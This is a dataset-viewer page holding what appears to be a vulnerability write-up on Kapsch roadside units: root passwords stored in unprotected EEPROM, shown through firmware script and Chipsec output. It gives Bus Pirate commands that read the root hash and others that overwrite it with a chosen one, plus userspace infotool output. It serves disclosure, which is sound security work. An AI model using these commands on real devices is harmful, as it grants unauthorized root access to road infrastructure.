Datasets:
Manusagents
/
hacking

Dataset card Data Studio Files
xet
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text
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1.99k
echo ${ROOT_LINE} | sed -es":\::\:${ENCRYPTED_PASSWORD}\::" >> ${TMPFILE}
mv ${TMPFILE} /etc/shadow
}
function handle_root_password {
if [ ! -e ${ETC_EEPROM}/.p.eesign.status ]; then
return 0
fi
if [[ `cat ${ETC_EEPROM}/.p.eesign.status` != 'ok' ]]; then
return 0
fi
if [ ! -e ${ETC_EEPROM}/p.root.password ]; then
return 0
fi
update_shadow_file_rootuser `cat ${ETC_EEPROM}/p.root.password`
Lets look at the Chipsec output that flags the actual issue:
[x][ Module: SPD Write Disable
[*] SMBUS_HCFG = 0x01 << Host
Configuration (b:d.f 00:31.3 + 0x40)
[04] SPD_WD = 0 << SPD_WD
[-] FAILED: SPD Write Disable is not set and SPDs were detected
To read the root users hashed password with bus pirate:
[0xAE 0x05 0xC9] [0xAF r:16]
Which returns something like:
RX: 0x15 ACK 0x6F ACK 0x2E ACK 0x6F ACK 0x70 ACK 0x65 ACK 0x72 ACK 0x61
ACK..
When you decode, it looks like:
$6$BqXRbsRiiI1MI6WE$RT68Njgv1LyqxjgNJ8Od1mLjm0NuWbEE7
6z35a4XXXu7.SosIHaCgABcGM1s4xTFOywTaNFLu9SCXXXSvAPo.1
Now with physical access, you can use the following command to overwrite
the root user's hash (replace the bytes after the 3rd byte on each line
with the hash you want )
Bus Pirate Command (One line at a time):
[0xAE 0x05 0xC9 0x24 0x36 0x24 0x5a 0x39 0x4c 0x37 0x58 0x71 0x4b
0x6a 0x4b 0x38 0x34 0x76 0x77]
[0xAE 0x05 0xD9 0x65 0x45 0x4f 0x24
0x78 0x7a 0x47 0x6c 0x63 0x5a 0x54 0x37 0x51 0x45 0x6a 0x35]
[0xAE
0x05 0xE9 0x55 0x6d 0x58 0x52 0x71 0x6b 0x70 0x78 0x36 0x39 0x42 0x66
0x4b 0x36 0x62 0x57]
[0xAE 0x05 0xF9 0x47 0x4a 0x57 0x73 0x4b 0x41 0x75
0x46 0x31 0x75 0x36 0x44 0x39 0x4a 0x59 0x71]
[0xAE 0x06 0x09 0x32 0x6a
0x41 0x4b 0x50 0x68 0x79 0x6d 0x42 0x35 0x38 0x33 0x61 0x69 0x4a 0x35]
[0xAE 0x06 0x19 0x2f 0x75 0x50 0x70 0x45 0x41 0x48 0x67 0x47 0x32
0x4a 0x79 0x72 0x67 0x5a 0x4e]
[0xAE 0x06 0x29 0x79 0x35 0x43 0x62
0x77 0x77 0x34 0x6b 0x44 0x31]
Alternatively, with local access the RSUs come preinstalled with at least
two tools that allow you to modify the EEPROM in userspace.
First is infotool, an interactive custom information tool included with
the firmware. Output looks like:
Kapsch >> Info Tool
--------------------
Information
------------
EEPROMs
------------
CB
------------
<
press up for more ... >
p.obslot0.serial : NLXX132E00XXXX
p.pps.offset : 0x00
p.ps.extpower : 1
p.ps.poe
: 1
p.radio1.a.mac : 00:e0:6a:01:xx:xx
p.radio1.ant1.atten :
5
p.radio1.ant2.atten : 10
p.radio1.b.mac : 00:e0:6a:01:xx:xx
p.radio1.name : ALPS-UMPZ2A3001A
p.radio2.a.mac :
00:E0:4B:57:XX:XX
p.radio2.ant1.atten : 5
p.radio2.ant2.atten :
10
p.radio2.b.mac : 00:E0:4B:57:XX:XX
p.radio2.name :
ALPS UMZ2 V753
p.revision : 03
p.root.password :